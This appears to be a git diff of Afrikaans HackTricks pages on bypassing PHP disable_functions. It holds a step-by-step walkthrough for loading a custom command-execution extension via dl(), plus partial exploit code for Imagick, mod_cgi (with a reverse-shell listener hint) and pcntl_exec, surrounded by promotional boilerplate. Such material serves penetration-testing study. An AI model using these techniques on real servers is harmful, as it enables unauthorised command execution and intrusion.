* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Belangrike nota:**
@ -19,30 +20,30 @@ Ander maniere om HackTricks te ondersteun:
**`dl`** is 'n PHP-funksie wat gebruik kan word om PHP-uitbreidings te laai. As die funksie nie gedeaktiveer is nie, kan dit misbruik word om **`disable_functions` te omseil en arbitrêre opdragte uit te voer**.\
Dit het egter 'n paar streng beperkings:
* Die `dl`-funksie moet **teenwoordig** wees in die **omgewing** en **nie gedeaktiveer** wees nie.
* Die PHP-uitbreiding moet **gekompileer wees met dieselfde hoofweergawe** (PHP API-weergawe) wat die bediener gebruik (jy kan hierdie inligting sien in die uitset van phpinfo).
* Die PHP-uitbreiding moet **geleë wees in die gids** wat gedefinieer word deur die **`extension_dir`**-riglyn (jy kan dit sien in die uitset van phpinfo). Dit is baie onwaarskynlik dat 'n aanvaller wat probeer om die bediener te misbruik, skryftoegang tot hierdie gids sal hê, so hierdie vereiste sal waarskynlik voorkom dat jy hierdie tegniek kan misbruik.
* Die `dl` funksie moet **teenwoordig** wees in die **omgewing** en **nie gedeaktiveer** wees nie
* Die PHP-uitbreiding **moet saamgecompileer wees met dieselfde hoofweergawe** (PHP API-weergawe) wat die bediener gebruik (jy kan hierdie inligting in die uitvoer van phpinfo sien)
* Die PHP-uitbreiding moet **geleë wees in die gids** wat **definieer** is deur die **`extension_dir`** riglyn (jy kan dit in die uitvoer van phpinfo sien). Dit is baie onwaarskynlik dat 'n aanvaller wat probeer om die bediener te misbruik, skryfreëls oor hierdie gids sal hê, so hierdie vereiste sal waarskynlik voorkom dat jy hierdie tegniek misbruik).
**As jy aan hierdie vereistes voldoen, lees voort na die berig** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **om te leer hoe om `disable_functions` te omseil**. Hier is 'n opsomming:
**As jy aan hierdie vereistes voldoen, gaan voort om die pos te lees** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **om te leer hoe om disable\_functions te omseil**. Hier is 'n opsomming:
Die [dl-funksie](http://www.php.net/manual/en/function.dl.php) word gebruik om PHP-uitbreidings dinamies tydens skripsuitvoering te laai. PHP-uitbreidings, tipies geskryf in C/C++, verbeter PHP se funksionaliteit. Die aanvaller besluit om 'n aangepaste PHP-uitbreiding te skep om stelselopdragte uit te voer nadat hy besef het dat die `dl`-funksie nie gedeaktiveer is nie.
Die [dl funksie](http://www.php.net/manual/en/function.dl.php) word gebruik om PHP-uitbreidings dinamies tydens skripuitvoering te laai. PHP-uitbreidings, tipies geskryf in C/C++, verbeter PHP se funksionaliteit. Die aanvaller, toe hy opgemerk het dat die `dl` funksie nie gedeaktiveer is nie, besluit om 'n pasgemaakte PHP-uitbreiding te skep om stelselsopdragte uit te voer.
### Stappe geneem deur die aanvaller:
1. **PHP-weergawe-identifikasie:**
- Die aanvaller bepaal die PHP-weergawe deur 'n skripsie (`<?php echo 'PHP-weergawe is '.PHP_VERSION; ?>`) te gebruik.
1. **PHP Weergawe Identifikasie:**
- Die aanvaller bepaal die PHP-weergawe met 'n skrip (`<?php echo 'PHP Version is '.PHP_VERSION; ?>`).
2. **PHP-bronverkryging:**
- Laai die PHP-bron af van die amptelike [PHP-webwerf](http://www.php.net/downloads.php) of die [argief](http://museum.php.net) as die weergawe ouer is.
2. **PHP Bron Verkryging:**
- Laai die PHP-bron van die amptelike [PHP-webwerf](http://www.php.net/downloads.php) of die [argief](http://museum.php.net) af as die weergawe ouer is.
3. **Plaaslike PHP-opstelling:**
- Pak die spesifieke PHP-weergawe uit en installeer dit op hul stelsel.
3. **Plaaslike PHP Opstelling:**
- Onthul en installeer die spesifieke PHP-weergawe op hul stelsel.
4. **Uitbreidingsskepping:**
4. **Uitbreiding Skepping:**
- Bestudeer [die skepping van PHP-uitbreidings](http://www.php.net/manual/en/zend.creating.php) en ondersoek die PHP-bronkode.
- Fokus op die duplisering van die funksionaliteit van die [exec-funksie](http://www.php.net/manual/en/function.exec.php) wat geleë is by `ext/standard/exec.c`.
- Fokus op die duplisering van die funksionaliteit van die [exec funksie](http://www.php.net/manual/en/function.exec.php) geleë by `ext/standard/exec.c`.
### Notas vir die Kompilering van die Aangepaste Uitbreiding:
### Aantekeninge vir die saamstel van die pasgemaakte uitbreiding:
1. **ZEND_MODULE_API_NO:**
- Die `ZEND_MODULE_API_NO` in `bypass.c` moet ooreenstem met die huidige Zend Extension Build, wat verkry kan word met:
@ -50,55 +51,58 @@ Die [dl-funksie](http://www.php.net/manual/en/function.dl.php) word gebruik om P
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
```
2. **PHP_FUNCTION-wysiging:**
- Vir onlangse PHP-weergawes (5, 7, 8) mag `PHP_FUNCTION(bypass_exec)` aanpassing benodig. Die voorsiene kodefragment beskryf hierdie wysiging in detail.
2. **PHP_FUNCTION Wysiging:**
- Vir onlangse PHP-weergawe (5, 7, 8), mag `PHP_FUNCTION(bypass_exec)` aanpassing benodig. Die verskafde kode-snippet detail hierdie aanpassing.
### Lêers vir die Aangepaste Uitbreiding:
### Pasgemaakte Uitbreidingslêers:
- **bypass.c**:
- Implementeer die kernfunksionaliteit van die aangepaste uitbreiding.
- Implementeer die kernfunksionaliteit van die pasgemaakte uitbreiding.
- **php_bypass.h**:
- Koptekslêer, definieer uitbreidingskenmerke.
- Koplêer, wat uitbreidingseienskappe definieer.
- **config.m4**:
- Word deur `phpize` gebruik om die bou-omgewing vir die aangepaste uitbreiding te konfigureer.
- Gebruik deur `phpize` om die bou-omgewing vir die pasgemaakte uitbreiding te konfigureer.
### Die Uitbreiding Bou:
### Bou van die Uitbreiding:
1. **Kompilasie-opdragte:**
- Gebruik `phpize`, `./configure`, en `make` om die uitbreiding te kompileer.
- Die resulterende `bypass.so` word dan in die subgids modules geplaas.
1. **Saamstel Opdragte:**
- Gebruik `phpize`, `./configure`, en `make` om die uitbreiding saam te stel.
- Die resulterende `bypass.so` is dan geleë in die modules subgids.
2. **Skoonmaak:**
- Voer `make clean` en `phpize --clean` uit na kompilasie.
- Voer `make clean` en `phpize --clean` uit na saamstel.
### Oplaai en Uitvoer op die Slagofferbediener:
### Oplaai en Uitvoering op die Slachtoffer Gasheer:
1. **Weergawekompatibiliteit:**
- Verseker dat die PHP API-weergawes ooreenstem tussen die aanvaller se en slagoffer se stelsels.
1. **Weergawe Kompatibiliteit:**
- Verseker dat PHP API-weergawe ooreenstem tussen die aanvaller se en die slagoffer se stelsels.
2. **Uitbreiding Laai:**
- Maak gebruik van die `dl`-funksie en omseil beperkings deur relatiewe paaie of 'n skripsie te gebruik om die proses outomaties te maak.
- Gebruik die `dl` funksie, omseil beperkings deur relatiewe paaie of 'n skrip te gebruik om die proses te outomatiseer.
3. **Skripsie-uitvoering:**
- Die aanvaller laai `bypass.so` en 'n PHP-skripsie na die slagoffer se bediener.
- Die skripsie gebruik die `dl_local`-funksie om `bypass.so` dinamies te laai en roep dan `bypass_exec` aan met 'n opdrag wat deur die `cmd`-navraagparameter oorgedra word.
3. **Skrip Uitvoering:**
- Die aanvaller laai `bypass.so` en 'n PHP-skrip na die slagoffer se bediener op.
- Die skrip gebruik `dl_local` funksie om dinamies `bypass.so` te laai en roep dan `bypass_exec` aan met 'n opdrag wat deur die `cmd` vraeparameter oorgedra word.
### Opdraguitvoering:
### Opdrag Uitvoering:
- Die aanvaller kan nou opdragte uitvoer deur toegang te verkry tot: `http://www.example.com/script.php?cmd=<opdrag>`
- Die aanvaller kan nou opdragte uitvoer deur toegang te verkry tot: `http://www.example.com/script.php?cmd=<command>`
Hierdie gedetailleerde deurlooptog verduidelik die proses om 'n PHP-uitbreiding te skep en te implementeer om stelselopdragte uit te voer deur die `dl`-funksie te misbruik, wat idealiter gedeaktiveer moet word om sulke sekuriteitskendings te voorkom.
Hierdie gedetailleerde stap-vir-stap gids skets die proses van die skepping en implementering van 'n PHP-uitbreiding om stelselsopdragte uit te voer, wat die `dl` funksie misbruik, wat idealiter gedeaktiveer moet wees om sulke sekuriteitsbreuke te voorkom.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslag
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
@ -65,16 +66,17 @@ $thumb->destroy();
echo file_get_contents($data_file);
?>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# mod\_cgi
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
// Only working with mod_cgi, writable dir and htaccess files enabled
@ -55,16 +56,17 @@ echo "Executing the script now. Check your listener <img src = 'shell.dizzle' st
}
?>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 4 &gt;= 4.2.0, PHP 5 pcntl\_exec
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
$dir = '/var/tmp/';
@ -39,16 +40,17 @@ echo '不支持pcntl扩展';
}
?>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
